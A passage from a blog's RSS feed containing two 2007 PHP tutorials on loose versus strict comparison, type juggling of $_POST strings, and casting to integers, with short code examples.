		<guid isPermaLink="false">http://obnexus.net/?p=30</guid>
		<description><![CDATA[Since I have neglected my blog this week I decided to write a small continuation of the discussion on Types in PHP.
I was helping a fellow coder yesterday, and he was having problems with a simple comparison statement. The situation he found himself in was this: 
A $_POST value could either be 0 (zero) or [...]]]></description>
			<content:encoded><![CDATA[<p>Since I have neglected my blog this week I decided to write a small continuation of the discussion on <a href="/php/variable-types-why-care/" title="albertfama.com: Variable Types - Why Care?">Types in PHP</a>.</p>
<p>I was helping a fellow coder yesterday, and he was having problems with a simple comparison statement. The situation he found himself in was this: </p>
<p>A $_POST value could either be 0 (zero) or a text string. If  incoming value was 0 (zero) that meant a new record needed to be inserted in the database, if it was a text string then the record already existed in the database and needed to be updated. Consequently he wrote his comparison statement like this:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;//insert db record
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;//update db record
}
&nbsp;
?>
</pre>
<p>Everything looked fine to him, but no matter what value was passed in the $_POST variable the comparison statement evaluated to TRUE, meaning a new record was inserted into the database.</p>
<p>If you want to check it out yourself run this code:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
$_POST[&quot;id&quot;] = &quot;0&quot;;
&nbsp;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;insert db record / &quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;update db record / &quot;;
}
&nbsp;
$_POST[&quot;id&quot;] = &quot;string of text&quot;;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;insert db record&quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;update db record&quot;;
}
&nbsp;
?></pre>
<p>If you run the code above it will print: &#8216;insert db record / insert db record&#8217;.</p>
<p>Now this is a <em>bad</em> comparision to begin with, since all values coming from $_POST are a string of text; but that was not the problem he was experiencing. </p>
<p>Why does &#8220;string of text&#8221; equal zero in the second comparision statement?&#8230;. because of TYPES, of course. </p>
<p>In the both comparison statements we are comparing a string and an integer, since we did not use the Identical comparison operator (===), PHP converts the string to an integer before making the comparison. This means it is the same as casting the string as an integer then making the comparison; such as:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
$_POST[&quot;id&quot;] = &quot;string of text&quot;;
$_POST[&quot;id&quot;] = (int)$_POST[&quot;id&quot;];
&nbsp;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;insert db record&quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;update db record&quot;;
}
&nbsp;
?>
</pre>
<p>When casting &#8220;string of text&#8221; as an integer &#8220;string of text&#8221; becomes 0 (zero). Check it out:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
$_POST[&quot;id&quot;] = &quot;string of text&quot;;
$_POST[&quot;id&quot;] = (int)$_POST[&quot;id&quot;];
&nbsp;
var_dump($_POST[&quot;id&quot;]);
&nbsp;
?>
</pre>
<p>The above code will print: &#8220;int(0)&#8221;.</p>
<p>So how do we get this comparison to evaluate as intended? We cannot use the Identical (===) comparison operator, because as I said before, everything coming from $_POST is a string. This means we would have the same problem in reverse. The comparison would always evaluate to FALSE, and it would attempt to update records that do not exist. What we need is for PHP to evaluate both operands as strings, this can be accomplished two ways. Either by placing quotes around the 0 (zero) making it a string, or casting the 0 (zero) as a string. Such as:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
if ($_POST[&quot;id&quot;] == &quot;0&quot;) {
&nbsp;&nbsp;&nbsp;&nbsp;//insert db record
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;//update db record
}
&nbsp;
if ($_POST[&quot;id&quot;] == (string)0) {
&nbsp;&nbsp;&nbsp;&nbsp;//insert db record
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;//update db record
}
&nbsp;
?>
</pre>
<p>Personally I think the first example is more appropriate, if you want to compare 0 (zero) as a string just write it as a string. I simply provided the casting example because we have previously <a href="/php/variable-types-why-care/#casting" title="albertfama.com: Variable Types - Why Care? - casting">discussed casting</a>.</p>
<p>If you would like to know more about Types in PHP you can read my previous post: <a href="/php/variable-types-why-care/" title="albertfama.com: Variable Types - Why Care?">Variable Types &#8211; Why Care?</a> and follow the links at the bottom of the article.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=30">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/more-on-types/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Variable Types &#8211; Why Care?</title>
		<link>http://albertfama.com/php/variable-types-why-care/</link>
		<comments>http://albertfama.com/php/variable-types-why-care/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 02:19:08 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Types]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[variable types]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=24</guid>
		<description><![CDATA[We have all heard PHP is a loosely typed language. If you are unsure of the meaning of the term &#8220;loosely typed&#8221; the definition in the PHP manual states (at least for our discussion):
PHP &#8211; Manual
The type of a variable is usually not set by the programmer; rather, it is decided at runtime by PHP [...]]]></description>
			<content:encoded><![CDATA[<p>We have all heard PHP is a loosely typed language. If you are unsure of the meaning of the term &#8220;loosely typed&#8221; the <em>definition</em> in the PHP manual states (at least for our discussion):</p>
<blockquote><p><a href="http://www.php.net/manual/en/language.types.php"  title="PHP Manual: Types">PHP &#8211; Manual</a><br />
The type of a variable is usually not set by the programmer; rather, it is decided at runtime by PHP depending on the context in which that variable is used.</p></blockquote>
<p>In code terms this means that we do not have to define a &#8220;type&#8221; for each variable, we can simply give the variable a value and the PHP engine will determine (through context clues) what the variable type should be at that instant (runtime). Also a variable&#8217;s <em>type</em> may change any number of times during the execution of a script, as shown by this example:</p>
<pre name="code" class="php">
&lt;?php
//the variables are defined as strings
//(with quotes)
&nbsp;
$integer1 = &quot;50&quot;;
$integer2 = &quot;14&quot;;
&nbsp;
//we can use them
//in mathematical equations
&nbsp;
echo $integer1 + $integer2; //64
&nbsp;
//we can also treat them
//as strings and concatenate them
&nbsp;
echo $integer1 . $integer2; //5014
&nbsp;
//if we want to get fancy we can also use
//them as arrays, which actually comes in
//handy once in a while
&nbsp;
echo $integer1[0] + $integer2[0]; // 6
//**note if the variables were defined as
//integers this last example would not
//work**
?>
</pre>
<p>Given this information, most PHP developers (especially those who use PHP exclusively) simply forget about variable types and PHP does all the work for them. I was one of those developers until I read an article (unable to locate the link at the moment) about optimizing your PHP code. </p>
<p>In the article the benchmarks showed a significant improvement in processing time when using the <a href="http://www.php.net/manual/en/language.operators.comparison.php"  title="PHP Manual: Comparison Operators">comparison operators</a> Identical (===) and Not Identical (!==) as opposed to Equal (==) and Not Equal (!=).</p>
<p>**Please note I have no idea if this optimization still true, or ever was, but for our purposes it really does not matter.**</p>
<p>The difference between (Not) Identical and (Not) Equal is that PHP checks both the value and <strong>type</strong> of the two operands, meaning:</p>
<pre name="code" class="php">
&lt;?php
//integer1 is defined as a string
$integer1 = &quot;50&quot;;
&nbsp;
//integer1 is defined as an integer
$integer2 = 50;
&nbsp;
if ($integer1 == $integer2) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Equal / &quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;NOT Equal / &quot;;
}
&nbsp;
if ($integer1 === $integer2) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Identical&quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;NOT Identical&quot;;
}
?>
</pre>
<p>The above code will print &#8220;Equal / NOT Identical&#8221;. During the first comparison (equal), type is not taken into consideration so the string &#8220;50&#8243; is equal to the integer 50; but in the second comparison (identical), a string and an integer are not the same, hence not identical.</p>
<p>Obviously when you start comparing two values using the (Not) Identical operator, type becomes very important and a little challenging at first. You will inevitably forget to take into consideration variable types, and some code will simply not execute as you planned.</p>
<p>OK, so now that I have briefly explained types (string and integer) in PHP terms, the question remains, why do we care? Simply put: because it is part of PHP. If you just want to create scripts which randomly display quotes, email the contents of a form, or other small tasks then there really is no reason to get involved with types or <a href="http://www.php.net/manual/en/language.types.type-juggling.php#language.types.typecasting"  title="PHP Manual: Type Casting">type casting</a>; but since you are reading this post (and have made it this far) I will assume you are slightly more interested in creating larger projects and applications. If this is the case then you need to learn about all aspects of PHP and in tern you will then be able to write more complicated, efficient and stable code.</p>
<p>As a quick example: you should know that all data coming from $_POST and $_GET arrives in PHP as stings (actually an array of strings; kind of like field values from MySQL <img src='http://albertfama.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ).  So if you would like to check that an incoming value is numeric, you could use the function <a href="http://us.php.net/is_numeric"  title="PHP Manual: is_numeric">is_numeric()</a> or <a href="http://us.php.net/manual/en/function.ctype-digit.php"  title="PHP Manual: ctype_digit">ctype_digit()</a>. Of course if you wanted to determine if a value is numeric one of the quickest and most efficient ways is to cast the value.</p>
<p><a name="casting"></a><br />
Since 99% of the time 0 (zero) is not a valid value for incoming numeric data you can simply cast the variable. If the value only contains non-numeric characters; when cast as an integer PHP will set the value to 0 (zero). If the value is entirely numeric or begins with a number the numeric portion is converted. For example:  </p>
<pre name="code" class="php">
&lt;?php
$id = (int)$_POST[&quot;id&quot;];
if (0 === $id) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;NOT Numeric&quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Numeric&quot;;
}
?>
</pre>
<p>*Note: When casting a value please be sure to cast the value to the correct type.</p>
<p>If you would like to learn more about Types and Casting, here are some links to sections of the PHP Manual:<br />
<a href="http://www.php.net/manual/en/language.types.php"  title="PHP Manual: Types">Types</a><br />
<a href="http://www.php.net/manual/en/language.types.type-juggling.php#language.types.typecasting"  title="PHP Manual: Type Casting">Type Casting</a><br />
<a href="http://www.php.net/manual/en/ref.var.php"  title="PHP Manual: Variable Handling Functions">Variable Handling Functions</a></p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=24">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/variable-types-why-care/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
